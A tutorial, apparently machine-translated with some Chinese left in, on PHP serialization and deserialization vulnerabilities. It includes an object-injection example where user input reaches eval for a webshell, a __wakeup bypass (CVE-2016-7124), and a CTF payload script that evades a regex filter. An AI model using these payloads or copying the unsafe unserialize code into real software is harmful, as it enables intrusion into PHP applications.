ホームページ  >  記事  >  バックエンド開発  >  PHPのデシリアライズの詳しい説明

PHPのデシリアライズの詳しい説明

coldplay.xixi
coldplay.xixi転載
2020-07-11 17:49:379866ブラウズ

PHPのデシリアライズの詳しい説明

1 はじめに

最近、以前に学んだ内容を復習していて、理解できたと感じています。 PHP デシリアライゼーションの理解 より詳細なので、ここで要約します

2 Serialize() 関数

「php のすべての値は使用できます」関数 Serialize() を使用して、調整文字列で表されるを含む単語を返します。オブジェクトをシリアル化すると、オブジェクトのすべての変数が保存されますが、オブジェクトのメソッドは保存されず、クラスの名前のみが保存されます。"

この概念は最初は少しわかりにくいかもしれませんが、徐々に理解できました。

プログラムの実行が終了すると、メモリ データは即座に破棄されます。変数に格納されるデータはメモリ データであり、ファイルデータベースは「永続データ」であるため、PHP シーケンスのストレージは、メモリ内の変数データをファイル内の永続データに「保存」するプロセスです。

関連する学習の推奨事項: PHP プログラミングの入門から習熟まで

 $s = serialize($变量); //该函数将变量数据进行序列化转换为字符串
 file_put_contents(‘./目标文本文件', $s); //将$s保存到指定文件

具体的な例を通してシリアル化について学びましょう:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39;is&#39;.$this->age.&#39;years old. <br />&#39;;
  }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = &#39;daye&#39;;

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

これが結果です:

オブジェクトをシリアル化した後、オブジェクトのすべての変数が保存され、シリアル化された結果には文字 、これらの文字は次の文字の略称です。

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string

略語のタイプ文字を理解すると、PHP シリアル化形式を取得できます。

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

上記の例を通じて、serialize() を通じてバイト ストリームを返す概念を理解できます。 function この段落の文字列。

3 unserialize() 関数

unserialize() 単一のシリアル化された変数を操作し、それを PHP 値に変換します。オブジェクトを逆シリアル化する前に、オブジェクトのクラスを定義する必要があります。

簡単に言うと、ファイルに格納されているシリアル化されたデータをプログラムコードの変数表現に戻し、変数のシリアル化前の結果を復元する処理です。

 $s = file_get_contents(‘./目标文本文件&#39;); //取得文本文件的内容(之前序列化过的字符串)
 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

例を通じて逆シリアル化について学びます:

<?php
class User
{
  public $age = 0;
  public $name = &#39;&#39;;

  public function PrintData()
  {
    echo &#39;User &#39;.$this->name.&#39; is &#39;.$this->age.&#39; years old. <br />&#39;;
  }
}
//重建对象
$user = unserialize(&#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}&#39;);

$user->PrintData();

?>

これが結果です:

#注: 逆シリアル化の前にオブジェクトの場合、逆シリアル化する前にオブジェクトのクラスを定義する必要があります。それ以外の場合、エラーが報告されます

4 PHP デシリアライゼーションの脆弱性

脆弱性について学ぶ前に、まず PHP マジック関数を理解しましょう。次の学習に役立ててください。役に立ちます。

PHP では、__ (アンダースコア 2 つ) で始まるすべてのクラス メソッドがマジック メソッドとして予約されています。

__construct  当一个对象创建时被调用,
__destruct  当一个对象销毁时被调用,
__toString  当一个对象被当作一个字符串被调用。
__wakeup()  使用unserialize时触发
__sleep()  使用serialize时触发
__destruct()  对象被销毁时触发
__call()  在对象上下文中调用不可访问的方法时触发
__callStatic()  在静态上下文中调用不可访问的方法时触发
__get()  用于从不可访问的属性读取数据
__set()  用于将数据写入不可访问的属性
__isset()  在不可访问的属性上调用isset()或empty()触发
__unset()   在不可访问的属性上使用unset()时触发
__toString()  把类当作字符串使用时触发,返回值需要为字符串
__invoke()  当脚本尝试将对象调用为函数时触发

ここにはマジック関数の一部のみがリストされています。

マジック関数の自動呼び出しのプロセスを理解するために例を使用してみましょう。

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array(&#39;varr1&#39;,&#39;varr2&#39;);
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP();  //调用echoP()方法,输出"abc"
echo $obj;  //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

これが結果です:

これを見ることができます。この例を通して、対応する条件が満たされるとマジック関数が呼び出されることが明確になります。

5 オブジェクト インジェクション

ユーザーのリクエストが逆シリアル化関数 unserialize() に渡される前に適切にフィルター処理されていない場合、脆弱性が発生します。 PHP ではオブジェクトのシリアル化が可能であるため、攻撃者は特定のシリアル化された文字列を脆弱なアンシリアル化関数に送信し、最終的にはアプリケーションのスコープ内に任意の PHP オブジェクトを挿入する可能性があります。

オブジェクトの脆弱性は、次の 2 つの前提条件を満たす必要があります。

1. unserialize のパラメーターは制御可能です。

2. マジック メソッドを含むクラスがコード内で定義されており、メソッド内のパラメータとしてクラス メンバー変数を使用するセキュリティ上の問題のある関数がいくつかあります。

例を挙げてみましょう:

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

たとえば、この例では、ユーザーが生成したコンテンツが unserialize() 関数に直接渡され、そのようなステートメントを構築できます

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}

そしてスクリプト内で実行します。終了後、_destruct関数が呼び出され、テスト変数が上書きされてレモンが出力されます。

#この脆弱性を見つけた場合は、この脆弱性を利用して入力変数を制御し、それらをシリアル化されたオブジェクトに結合できます。

別の例を見てください:

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句
  }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

実際、よく見ると、unserialize() 関数が __destruc() をトリガーできるように、シリアル化されたオブジェクトを実際に手動で構築していることがわかります。 _destruc() 関数内の悪意のあるステートメントでそれを実行します。

#したがって、この脆弱性を利用して Web シェルを取得できます。

6 マジック関数の逆シリアル化をバイパスします


#wakeup() マジック関数バイパス

PHP5<5.6.25
PHP7<7.0.10
PHP デシリアライゼーションの脆弱性 CVE-2016-7124

#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行

百度杯——Hash

其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php的内容

    (1)绕过正则表达式对变量的检查
    (2)绕过_wakeup()魔法函数,因为如果我们反序列化的不是Gu3ss_m3_h2h2.php,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php

那么问题就来了,如果绕过正则表达式
(1)/[oc]:\d+:/i,例如:o:4:这样就会被匹配到,而绕过也很简单,只需加上一个+,这个正则表达式即匹配不到0:+4:

(2)绕过_wakeup()魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行

编写php序列化脚本

<?php
class Demo {
  private $file = &#39;Gu3ss_m3_h2h2.php&#39;;

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != &#39;Gu3ss_m3_h2h2.php&#39;) {
      //the secret is in the f15g_1s_here.php
      $this->file = &#39;Gu3ss_m3_h2h2.php&#39;;
    }
  }
}
#先创建一个对象,自动调用__construct魔法函数
$obj = new Demo(&#39;f15g_1s_here.php&#39;);
#进行序列化
$a = serialize($obj);
#使用str_replace() 函数进行替换,来绕过正则表达式的检查
$a = str_replace(&#39;O:4:&#39;,&#39;O:+4:&#39;,$a);
#使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数
$a = str_replace(&#39;:1:&#39;,&#39;:2:&#39;,$a);
#再进行base64编码
echo base64_encode($a);
?>

以上がPHPのデシリアライズの詳しい説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はjb51.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。